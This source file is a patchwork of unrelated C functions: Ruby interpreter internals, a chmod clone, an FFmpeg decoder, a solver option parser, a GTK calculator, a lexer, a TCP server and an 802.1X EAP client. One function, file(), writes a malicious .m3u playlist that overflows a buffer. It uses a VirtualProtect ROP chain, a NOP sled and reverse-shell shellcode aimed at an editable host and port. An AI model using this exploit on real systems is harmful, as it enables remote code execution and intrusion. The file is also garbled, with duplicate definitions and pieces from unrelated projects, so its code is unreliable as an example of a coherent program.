/*! Processes command line arguments and compiles the Ruby source to execute.
*
* This function does:
* \li Processes the given command line flags and arguments for ruby(1)
* \li compiles the source code from the given argument, -e or stdin, and
* \li returns the compiled source as an opaque pointer to an internal data structure
*
* @return an opaque pointer to the compiled source or an internal special value.
* @sa ruby_executable_node().
*/
void *
ruby_options(int argc, char **argv)
{
int state;
void *volatile iseq = 0;
ruby_init_stack((void *)&iseq);
PUSH_TAG();
if ((state = EXEC_TAG()) == 0) {
SAVE_ROOT_JMPBUF(GET_THREAD(), iseq = ruby_process_options(argc, argv));
}
else {
rb_clear_trace_func();
state = error_handle(state);
iseq = (void *)INT2FIX(state);
}
POP_TAG();
return iseq;
}
void *
ruby_options(int argc, char **argv)
{
int state;
void *tree = 0;
Init_stack((void *)&state);
PUSH_TAG();
if ((state = EXEC_TAG()) == 0) {
SAVE_ROOT_JMPBUF(GET_THREAD(), tree = ruby_process_options(argc, argv));
}
else {
rb_clear_trace_func();
state = error_handle(state);
tree = (void *)INT2FIX(state);
}
POP_TAG();
return tree;
}
int main ( int argc, char * argv [ ])
{
if (argc !=3)
{
printf ("chmod: missing operand \n");
printf("Try 'chmod --help' for more information\n");
exit (1);
}
char * permission_change = argv[1];
int value = strtol(permission_change, NULL, 8);
char * file_name = argv[2];
int outcome = 0;
outcome = chmod(file_name, value);
if (outcome == -1 )
error_handle("Error reading argument: ", file_name);
//The system call worked
}
void stack_push(stack_t *s, void *data)
{
if (s)
{
stack_t p_p = *s;
stack_t p_l = NULL;
p_l = malloc(sizeof(*p_l));
if (p_l)
{
p_l->data = data;
p_l->next = NULL;
p_l->prev = p_p;
if (p_p)
p_p->next = p_l;
*s = p_l;
}
else
error_handle(FATAL, "Unable to allocate memory\n");
}
}
void file()
{ FILE* f=fopen("exploit.m3u","wb");
unsigned char buf[100001];
if(!f)
error_handle();
make_reverseshell("127.0.0.1","2010");//change here with what you want...
gen_random(buf,26117);
memcpy(buf+eip_offset,RET,4);
memcpy(buf+eip_offset+4,"aaaa",4);
memcpy(buf+eip_offset+8,instr1,4);
memcpy(buf+eip_offset+12,instr2,4);
memcpy(buf+eip_offset+16,"bbbb",4);
memcpy(buf+eip_offset+20,instr3,4);
memcpy(buf+eip_offset+24,virtualprotect,4);
memcpy(buf+eip_offset+28,retaddr,4);
memcpy(buf+eip_offset+32,lpaddr,4);
memcpy(buf+eip_offset+36,sz,4);
memcpy(buf+eip_offset+40,flnprot,4);
memset(buf+eip_offset+44,0x90,300);
memcpy(buf+eip_offset+68,instr5,4);
memcpy(buf+eip_offset+72,instr4,4);
memcpy(buf+eip_offset+84,instr6,4);
memcpy(buf+eip_offset+92,instr7,4);
memcpy(buf+eip_offset+96,instr4,4);
memcpy(buf+eip_offset+104,instr8,4);
memcpy(buf+eip_offset+108,instr8,4);
memcpy(buf+eip_offset+112,instr8,4);
memcpy(buf+eip_offset+116,instr8,4);
memcpy(buf+eip_offset+120,instr6,4);
memcpy(buf+eip_offset+128,instr7,4);
memcpy(buf+eip_offset+132,instr9,4);
memcpy(buf+eip_offset+136,instr4,4);
memcpy(buf+eip_offset+144,instr4,4);
memcpy(buf+eip_offset+152,instr4,4);
memcpy(buf+eip_offset+160,instr8,4);
memcpy(buf+eip_offset+164,instr8,4);
memcpy(buf+eip_offset+168,instr8,4);
memcpy(buf+eip_offset+172,instr8,4);
memcpy(buf+eip_offset+176,instr6,4);
memcpy(buf+eip_offset+184,instr7,4);
memcpy(buf+eip_offset+188,instr9,4);
memcpy(buf+eip_offset+192,instr10,4);
memcpy(buf+eip_offset+196,instr8,4);
memcpy(buf+eip_offset+200,instr8,4);
memcpy(buf+eip_offset+204,instr8,4);
memcpy(buf+eip_offset+208,instr8,4);
memcpy(buf+eip_offset+212,instr6,4);
memcpy(buf+eip_offset+220,instr11,4);
memcpy(buf+eip_offset+224,instr11,4);
memcpy(buf+eip_offset+228,instr12,4);
memcpy(buf+eip_offset+344,reverse_sc,strlen(reverse_sc));//change here shellcode
fwrite(HEAD,sizeof(char),strlen(HEAD),f);
fwrite(URL,sizeof(char),strlen(URL),f);
fwrite(buf,sizeof(char),strlen(buf),f);
fclose(f);
}
int
ruby_cleanup(int ex)
{
int state;
volatile VALUE errs[2];
rb_thread_t *th = GET_THREAD();
int nerr;
errs[1] = th->errinfo;
th->safe_level = 0;
Init_stack((void*)&errs[STACK_UPPER(errs, 0, 1)]);
PUSH_TAG();
if ((state = EXEC_TAG()) == 0) {
SAVE_ROOT_JMPBUF(th, ruby_finalize_0());
}
POP_TAG();
errs[0] = th->errinfo;
PUSH_TAG();
if ((state = EXEC_TAG()) == 0) {
SAVE_ROOT_JMPBUF(th, rb_thread_terminate_all());
}
else if (ex == 0) {
ex = state;
}
th->errinfo = errs[1];
ex = error_handle(ex);
ruby_finalize_1();
POP_TAG();
rb_thread_stop_timer_thread();
for (nerr = 0; nerr < sizeof(errs) / sizeof(errs[0]); ++nerr) {
VALUE err = errs[nerr];
if (!RTEST(err)) continue;
/* th->errinfo contains a NODE while break'ing */
if (TYPE(err) == T_NODE) continue;
if (rb_obj_is_kind_of(err, rb_eSystemExit)) {
return sysexit_status(err);
}
else if (rb_obj_is_kind_of(err, rb_eSignal)) {
VALUE sig = rb_iv_get(err, "signo");
ruby_default_signal(NUM2INT(sig));
}
else if (ex == 0) {
ex = 1;
}
}
#if EXIT_SUCCESS != 0 || EXIT_FAILURE != 1
switch (ex) {
#if EXIT_SUCCESS != 0
case 0:
return EXIT_SUCCESS;
#endif
#if EXIT_FAILURE != 1
case 1:
return EXIT_FAILURE;
#endif
}
#endif
return ex;
}
int main(int argc,char ** argv)
{
int write_fd,ret,videoStream;
AVFormatContext * formatContext=NULL;
AVCodec * codec;
AVCodecContext * codecContext;
AVFrame * decodedFrame;
AVPacket packet;
uint8_t *decodedBuffer;
unsigned int decodedBufferSize;
int finishedFrame;
//初始化环境
av_register_all();
write_fd = open(OUTPUT_FILE_NAME,O_RDWR | O_CREAT,0666);
if(write_fd<0){
perror("open");
exit(1);
}
printf("input ");
ret = avformat_open_input(&formatContext, INPUT_FILE_NAME, NULL,NULL);
if(ret<0)
error_handle("avformat_open_input error");
ret = avformat_find_stream_info(formatContext,NULL);
if(ret<0)
error_handle("av_find_stream_info");
//打印输入文件的详细信息
av_dump_format(formatContext,0,INPUT_FILE_NAME,0);
videoStream = 0;
codecContext = formatContext->streams[videoStream]->codec;
codec = avcodec_find_decoder(AV_CODEC_ID_H264);
if(codec == NULL)
error_handle("avcodec_find_decoder error!\n");
ret = avcodec_open2(codecContext,codec,NULL);
if(ret<0)
error_handle("avcodec_open2");
//分配保存视频帧的空间
decodedFrame = avcodec_alloc_frame();
if(!decodedFrame)
error_handle("avcodec_alloc_frame!");
//分配解码后视频帧的空间
decodedBufferSize = avpicture_get_size(DECODED_OUTPUT_FORMAT,IMAGE_WIDTH,IMAGE_HEIGHT);
decodedBuffer = (uint8_t *)malloc(decodedBufferSize);
if(!decodedBuffer)
error_handle("malloc decodedBuffer error!");
av_init_packet(&packet);
int count=0;
while(av_read_frame(formatContext,&packet)>=0){
ret = avcodec_decode_video2(codecContext,decodedFrame,&finishedFrame,&packet);
if(ret<0)
error_handle("avcodec_decode_video2 error!");
if(finishedFrame){
count ++;
avpicture_layout((AVPicture*)decodedFrame,DECODED_OUTPUT_FORMAT,IMAGE_WIDTH,IMAGE_HEIGHT,decodedBuffer,decodedBufferSize);
ret = write(write_fd,decodedBuffer,decodedBufferSize);
if(ret<0)
error_handle("write yuv stream error!");
}
av_free_packet(&packet);
#if DEC_ONE_YUV
if(count ==1 )
{
printf("decode one yuv\n ");
break;
}
#endif
}
#if DEC_ONE_YUV
#else
/*防止视频解码完毕后丢帧的情况*/
while(1){
packet.data = NULL;
packet.size = 0;
ret = avcodec_decode_video2(codecContext,decodedFrame,&finishedFrame,&packet);
if(ret<=0 && (finishedFrame<=0))
break;
if(finishedFrame){
avpicture_layout((AVPicture*)decodedFrame,DECODED_OUTPUT_FORMAT,IMAGE_WIDTH,IMAGE_HEIGHT,decodedBuffer,decodedBufferSize);
ret = write(write_fd,decodedBuffer,decodedBufferSize);
if(ret<0)
error_handle("write yuv stream error!");
}
av_free_packet(&packet);
}
#endif
avformat_close_input(&formatContext);
free(decodedBuffer);
av_free(decodedFrame);
avcodec_close(codecContext);
return 0;
}
int get_opt(int argc, char *argv[], struct Parameter *para)
{
int opt;
int longindex;
int error;
struct option longopts[] =
{
{"Matrix", required_argument, NULL, 'm'},
{"OuterSolver", required_argument, NULL, 'S'},
{"InnerSolver", required_argument, NULL, 's'},
{"OuterMaxLoop", required_argument, NULL, 'L'},
{"InnerMaxLoop", required_argument, NULL, 'l'},
{"OuterEPS", required_argument, NULL, 'E'},
{"InnerEPS", required_argument, NULL, 'e'},
{"OuterRestart", required_argument, NULL, 'R'},
{"InnerRestart", required_argument, NULL, 'r'},
{"OuterKskip", required_argument, NULL, 'K'},
{"InnerKskip", required_argument, NULL, 'k'},
{"OuterFix", required_argument, NULL, 'F'},
{"InnerFix", required_argument, NULL, 'f'},
{"Thread", required_argument, NULL, 't'},
{"Cuda", no_argument, NULL, 'c'},
{"Verbose", no_argument, NULL, 'v'},
{"Help", no_argument, NULL, 'h'},
{0, 0, 0, 0 },
};
while((opt=getopt_long_only(argc, argv, "m:S:s:L:l:E:e:R:r:K:k:F:f:t:cvh", longopts, &longindex)) != -1)
{
switch(opt)
{
case 'm':
strcpy(para->c_matrix, optarg);
break;
case 'S':
error=check_solver(optarg, ¶->c_outer_solver);
if(error_handle(error, (char*)"error in outer solver name")!=0)
return -1;
break;
case 's':
error=check_solver(optarg, ¶->c_inner_solver);
if(error_handle(error, (char*)"error in inner solver name")!=0)
return -1;
break;
case 'L':
para->i_outer_maxloop=atoi(optarg);
break;
case 'l':
para->i_inner_maxloop=atoi(optarg);
break;
case 'E':
para->d_outer_eps=atof(optarg);
break;
case 'R':
para->i_outer_restart=atoi(optarg);
break;
case 'r':
para->i_inner_restart=atoi(optarg);
break;
case 'K':
para->i_outer_kskip=atoi(optarg);
break;
case 'k':
para->i_inner_kskip=atoi(optarg);
break;
case 'F':
para->i_outer_fix=atoi(optarg);
break;
case 'f':
para->i_inner_fix=atoi(optarg);
break;
case 't':
para->i_thread=atoi(optarg);
break;
case 'c':
para->f_cuda=true;
break;
case 'v':
para->f_verbose=true;
break;
case 'h':
show_help();
exit(0);
default:
warning_log((char*)"Unknow option");
return -1;
}
}
#ifdef EBUG
normal_log((char*)"pass get_opt");
#endif
return 0;
}
void output() /*双目运算结果输出*/
{
char num[20];
strcpy(num, gtk_entry_get_text(GTK_ENTRY(entry))); /* 取得文本框输入的内容*/
Conversion(num, principle, 10); /*将输入的进制数转换为十进制*/
b = p;
switch (method)
{
case 0:
a = a + b;
Right_output();
break;
case 1:
a = a - b;
Right_output();
break;
case 2:
a = a * b;
Right_output();
break;
case 3:
if (b == 0)
{
error_handle("除数不能为零");
}
else
{
a = a / b;
Right_output();
}
break;
case 4:
a = pow(a, b);
Right_output();
break;
case 5:
a = ((int) a) & ((int) b);
Right_output();
break;
case 6:
a = ((int) a) | ((int) b);
Right_output();
break;
case 7:
a = ((int) a) ^ ((int) b);
Right_output();
break;
case 8:
if (b == 0)
{
error_handle("除数不能为零");
}
else
{
a = ((int) a) % ((int) b);
Right_output();
}
break;
case 9:
a = sin(b);
Right_output();
break;
case 10:
a = cos(b);
Right_output();
break;
case 11:
a = tan(b);
Right_output();
break;
case 12:
a = exp(b);
Right_output();
break;
case 13:
a = b * b * b;
Right_output();
break;
case 14:
a = b * b;
Right_output();
break;
case 15:
if (b <= 0)
{
error_handle("对数必须为正数");
}
else
{
a = log(b);
Right_output();
}
break;
case 16:
if (b <= 0)
{
error_handle("对数必须为正数");
}
else
{
a = log10(b);
Right_output();
}
break;
case 17:
if (b < 0)
{
error_handle("函数输入无效");
}
else
{
a = fun((int) (b));
Right_output();
}
break;
case 18:
if (b == 0)
{
error_handle("除数不能为零");
}
else
{
a = 1 / b;
Right_output();
}
break;
case 19:
a = ~((int) b);
Right_output();
break;
case 20:
a = floor(b);
Right_output();
break;
default:
break;
}
}
int csr_start(int argc, char *argv[])
{
int error;
struct Parameter para;
int N, NNZ;
double *bvec, *xvec, *val;
int *col, *ptr;
double *Tval;
int *Tcol, *Tptr;
double *test;
malloc_cuda_1d(10, test);
free_cuda_1d(test);
init_ver(¶);
error = get_opt(argc, argv, ¶);
if(error_handle(error, (char*)"error in get_cmd")!=0)
return -1;
error = check_opt(¶);
if(error_handle(error, (char*)"error in check_cmd")!=0)
return -1;
error = find_mat(¶);
if(error_handle(error, (char*)"error in find_mat")!=0)
return -1;
show_opt(¶);
error = set_openmp_thread(para.i_thread);
if(error_handle(error, (char*)"error in set_openmp_thread")!=0)
return -1;
error = get_mat_head(¶, &N, &NNZ);
if(error_handle(error, (char*)"error in get_mat_head")!=0)
return -1;
if( para.f_cuda == false )
{
bvec = malloc_1d(N);
xvec = malloc_1d(N);
val = malloc_1d(NNZ);
col = malloc_1i(NNZ);
ptr = malloc_1i(N+1);
Tval=malloc_1d(NNZ);
Tcol=malloc_1i(NNZ);
Tptr=malloc_1i(N+1);
}else{
error_log((char*)"Cuda not done now");
return -1;
}
error = get_mat_data(¶, col, ptr, val, bvec, xvec, N, NNZ);
if(error_handle(error, (char*)"error in get_mat_data")!=0)
return -1;
//A^T
Transpose_d(val, col, ptr, Tval, Tcol, Tptr, N, NNZ);
error = outer_selecter(¶, bvec, xvec, val, col, ptr, Tval, Tcol, Tptr, N, NNZ);
if(error_handle(error, (char*)"error in outer_selecter")!=0)
return -1;
show_opt(¶);
if( para.f_cuda == false )
{
free_1d(bvec);
free_1d(xvec);
free_1d(val);
free_1i(col);
free_1i(ptr);
free_1d(Tval);
free_1i(Tcol);
free_1i(Tptr);
}else{
error_log((char*)"Cuda not done now");
return -1;
}
return 0;
}
void *server_main(void * data){
data = NULL;// keep compiler happy
START:
pthread_mutex_lock(&signal_master_dead_mtx);
pthread_cond_wait(&signal_master_dead_cv, &signal_master_dead_mtx);
pthread_mutex_unlock(&signal_master_dead_mtx);
struct addrinfo hints, *res_ai;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
int rc = getaddrinfo(NULL, server_port, &hints, &res_ai);
error_handle(rc != 0, "getaddrinfo");
int sock_fd = socket(res_ai->ai_family, res_ai->ai_socktype, res_ai->ai_protocol);
error_handle(sock_fd == -1, "socket");
/* bind the address */
rc = bind(sock_fd, res_ai->ai_addr, res_ai->ai_addrlen);
if(rc == -1){
perror("bind");
sleep(1);
pthread_mutex_lock(&signal_master_dead_mtx);
pthread_cond_signal(&signal_server_bind_failed_cv);
pthread_mutex_unlock(&signal_master_dead_mtx);
goto START;
}
/** the right position to call */
system("gnome-terminal -e ./combine.out");
char dst[50];
const char * temp = inet_ntop(res_ai->ai_family, res_ai->ai_addr, dst, res_ai->ai_addrlen);
printf("my ip: %s\n ip2: %s\n", temp, dst);
/*listen! indicate that i am the server*/
rc = listen(sock_fd, 5);
if(rc == -1){
perror("listen");
pthread_exit((void *)EXIT_FAILURE);
}
do{
struct sockaddr_storage client_name;
socklen_t client_name_len = sizeof client_name;
int new_client_fd;
/* accept a connection */
new_client_fd = accept(sock_fd, (struct sockaddr *)&client_name, &client_name_len);
error_handle(new_client_fd == -1, "accept" );
/* write some welcome message */
char welcome[108];
sprintf(welcome,"Welcome! your client fd is %d \n" \
, new_client_fd);
write(new_client_fd, welcome, strlen(welcome));
rc = server_thread_create_wrapper(new_client_fd);
error_handle(rc == -1, "server_thread_create_wrapper");
/* handle the connection */
//is_client_quit = server(client_socket_fd);
/* close the connection */
//close(client_socket_fd);
} while(1);
/**
* never reach here
*/
pthread_exit((void *)EXIT_SUCCESS);
}
int main(int argc, char *argv[])
{
FILE *fin, *fout;
if(argc == 1)
{
// 错误：无输入文件
error_handle(file_exist_error);
return 0;
}
//打开源程序文件
fin = fopen(argv[1],"r");
if(fin == NULL)
{
open_file_error();
return 0;
}
//打开文件保存词法分析结果
fout = fopen("temp.txt","w");
if(fout == NULL)
{
create_file_error();
return 0;
}
// 建立关键字的哈希表
int i;
for(i = 0; i < 38; ++i)
createHash(word[i],HashTable);
//从源程序文件中取字符进行处理
char ch;
unsigned char flag = 1;
char str[100];
char *buffer = str;
buffer = fgets(str,100,fin);
char *begin,*forward;
int length;
char *end;
while(!feof(fin))
{
begin = forward = buffer;
length = strlen(buffer);
end = buffer + length;
row = 1; // 记录当前的列号
while(forward < end)
{
begin = forward;
ch = *forward;
if( check_ch(ch)==0 )
{
error_handle(illegal_ch_error);
++forward;
++row; // 移到下一列
continue;
}
if((ch == TAB || ch == NEWLINE || ch == SPACE))
{
++forward;
++row;
begin = forward;
continue;
}
if(isalpha(ch))
{
++forward;
++row;
ch = *forward;
// if( check_ch(ch) ==0)
// {
// error_handle(illegal_ch_error);
// --forward;
// copytoken(begin,forward);
// ++forward;
// print_word(token);
// continue;
// }
while(isalnum(ch)&&(++row, ++forward != end))
{
ch = *forward;
}
--forward;
--row;
copytoken(begin,forward);
++forward;
++row;
print_word(token);
}
else if(isdigit(ch))
{
++forward;
++row;
ch = *forward;
// if(check_ch(ch)==0)
// {
// error_handle(illegal_ch_error);
// }
while(isdigit(ch)&&(++row, ++forward != end))
{
ch = *forward;
// if( check_ch(ch) == 0)
// error_handle(illegal_ch_error);
}
--forward;
--row;
copytoken(begin,forward);
++forward;
++row;
print_digit(token);
}
else
{
switch(ch)
{
case '*':
++forward;
++row;
ch = *forward;
if( check_ch(ch)==0 )
{
// error_handle(illegal_ch_error);
// ++forward;
printf("(MULTI,0)\n");
break;
}
if(ch == '*')
printf("(EXP,0)\n");
else
{
--forward;
--row;
printf("(MULTI,0)\n");
}
++forward;
++row;
break;
case ':':
++forward;
++row;
ch = *forward;
if( check_ch(ch)==0 )
{
// error_handle(illegal_ch_error);
// ++forward;
printf("(COLON,0)\n");
break;
}
if(ch == '=')
printf("(ASSIGN,0)\n");
else
{
--forward;
--row;
printf("(COLON,0)\n");
}
++forward;
++row;
break;
case '<':
++forward;
++row;
ch = *forward;
if( check_ch(ch)==0 )
{
// error_handle(illegal_ch_error);
// ++forward;
printf("(LT,0)\n");
break;
}
if(ch == '=')
{
printf("(LE,0)\n");
}
else if(ch == '>')
{
printf("(NE,0)\n");
}
else
{
--forward;
--row;
printf("(LT,0)\n");
}
++forward;
++row;
break;
case '=':
printf("(EQ,0)\n");
++forward;
++row;
break;
case '>':
++forward;
++row;
ch = *forward;
if( check_ch(ch)==0 )
{
// error_handle(illegal_ch_error);
// ++forward;
printf("(GT,0)\n");
break;
}
if(ch == '=')
printf("(GE,0)\n\n");
else
{
--forward;
--row;
printf("(GT,0)\n");
}
++forward;
++row;
break;
case '+':
printf("(PLUS,0)\n");
++forward;
++row;
break;
case '-':
printf("(MINUS,0)\n");
++forward;
++row;
break;
case '/':
printf("(REIV,0)\n");
++forward;
++row;
break;
case ',':
printf("(COMMA,0)\n");
++forward;
++row;
break;
case ';':
printf("(SEMIC,0)\n");
++forward;
++row;
break;
case '(':
printf("(LR_BRAC,0)\n");
int flag = 0; // 用于判断括号是否匹配
char* temp;
temp = forward;
while(++temp != end)
{
if(ch == '(')
++flag;
else if(ch == ')')
--flag;
if(flag < 0)
break;
ch = *temp;
}
if(flag != 0)
error_handle(par_not_match);
++forward;
++row;
break;
case ')':
printf("(RR_BRAC,0)\n");
++forward;
++row;
break;
case '[':
printf("(LS_BRAC,0)\n");
++forward;
++row;
break;
case ']':
printf("(RS_BRAC,0)\n");
++forward;
++row;
break;
case '\'':
// printf("(Q_MARK,0)\n");
++forward;
++row;
ch = *forward;
while(ch != '\''&& (++row, ++forward != end))
{
ch = *forward;
if(!check_ch(ch))
error_handle(illegal_ch_error);
// ++forward;
}
// --forward;
if(ch == '\'')
{
copytoken(begin, forward); // 输出字符串
print_str(token);
}
else if(forward == end)
{
error_handle(quo_not_match); // 引号不匹配
}
++forward;
++row;
break;
case '.':
printf("(F_STOP,0)\n");
++forward;
++row;
break;
case '^':
printf("(CAP,0)\n");
++forward;
++row;
break;
default:
// error_handle();
break;
}
}
}
// 再从文件中读入一行数据
buffer = fgets(str,100,fin);
++line;
}
//关闭源程序和结果文件
fclose(fin);
fclose(fout);
return 0;
}
void send_eap_packet(enum EAPSendType send_type)
{
int data_length = 0;
struct ether_header *ethh
= (struct ether_header *) (&data_buffer[data_length]);
memcpy(ethh->ether_dhost, multicast_mac, 6);
memcpy(ethh->ether_shost, local_mac, 6);
ethh->ether_type = htons(0x888e);
data_length += ETH_HLEN;
struct auth_header *authh
= (struct auth_header *) (&data_buffer[data_length]);
authh -> eapol_version = 0x01;
authh -> eapol_type= 0x02;
authh -> eapol_length = htons(0x0000);
data_length += AUTH_HLEN;
struct eap_header *eaph
= (struct eap_header *) (&data_buffer[data_length]);
if ( send_type & NEED_EAP_HEADER ) {
authh -> eapol_type = 0x00;
authh -> eapol_length = htons(0x0019);
eaph -> eap_code = 0x02;
eaph -> eap_id = ehid;
eaph -> eap_length = htons(0x0019);
eaph -> eap_type = 0x01;
username[username_length+1] = 0x44;
username[username_length+2] = 0x61;
username[username_length+3] = 0x00;
data_length += EAP_HLEN;
}
if ( send_type & NEED_MD5 ) {
authh -> eapol_length = htons(0x002a);
eaph -> eap_length = htons(0x002a);
eaph -> eap_type = 0x04;
username[username_length+3] = 0x02;
username[username_length+4] = md5_send_times++;
data_buffer[data_length] = 0x10;
data_length += 1;
memcpy(&data_buffer[data_length], md5_digest, 0x10);
data_length += 0x10;
}
if ( send_type & NEED_USERNAME ) {
memcpy(&data_buffer[data_length], username, USERNAME_LEN);
data_length += USERNAME_LEN;
}
if ( send_type & NEED_TRAILER1 ) {
memcpy(&data_buffer[data_length], trailer1, TRAILER1_LEN);
data_length += TRAILER1_LEN;
}
if ( send_type & NEED_TRAILER2 ) {
memcpy(&data_buffer[data_length], trailer2, TRAILER2_LEN);
data_length += TRAILER2_LEN;
}
if ( pcap_sendpacket(handle, data_buffer, data_length) ) {
fprintf(stderr, "!!FATAL: Error Sending packet: %s\n", pcap_geterr(handle));
error_handle(-2);
}
return;
}
void get_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
const struct eap_header *eap_header
= (struct eap_header *) (&packet[ETH_HLEN+AUTH_HLEN]);
ehid = eap_header->eap_id;
switch (eap_header->eap_code) {
case EAP_CODE_REQUEST:
switch (eap_header->eap_type) {
case EAP_REQUEST_IDENTITY:
if (state == STARTED) {
fprintf(stdout, "Identification Received\n");
state = IDENTIFIED;
send_eap_packet(EAP_RESPONSE_IDENTITY);
}
else {
fprintf(stdout, "Warning: we haven't started\n");
}
return;
case EAP_REQUEST_NOTIFICATION:
/* got this packet if authentication failed or in use*/
fprintf(stdout, "Server Notification: %s\n",
packet+ETH_HLEN+AUTH_HLEN+EAP_HLEN);
send_eap_packet(EAP_RESPONSE_MD5_CHALLENGE);
return;
case EAP_REQUEST_MD5_CHALLENGE:
state = AUTHED;
fprintf(stdout, "MD5 Challenge Received\n");
memcpy(md5_challenge,
packet+ETH_HLEN+AUTH_HLEN+EAP_HLEN+0x01,
0x10);
md5digest();
send_eap_packet(EAP_RESPONSE_MD5_CHALLENGE);
return;
}
case EAP_CODE_SUCCESS:
state = ONLINE;
fprintf(stdout, "Login Successfully\n");
if ( system(dhclientcmd) == -1 ) {
fprintf(stderr, "Error while executing dhclient\n");
error_handle(-2);
}
dhcp = 1;
get_ip();
if ( init_udp() == -1) {
error_handle(-2);
}
init_daemon();
alarm(31);
return;
case EAP_CODE_FAILURE:
if ( state == ONLINE || state == AUTHED) {
fprintf(stdout, "Logout\n");
pcap_breakloop(handle);
}
return;
}
fprintf(stderr, "FATAL: Unknown packet[eap_code(%02x), eap_id(%02x), eap_type(%02x)]\n", eap_header->eap_code, eap_header->eap_id, eap_header->eap_type);
fprintf(stderr, "Waring: I won't respond to this unknown packet\n");
return;
}
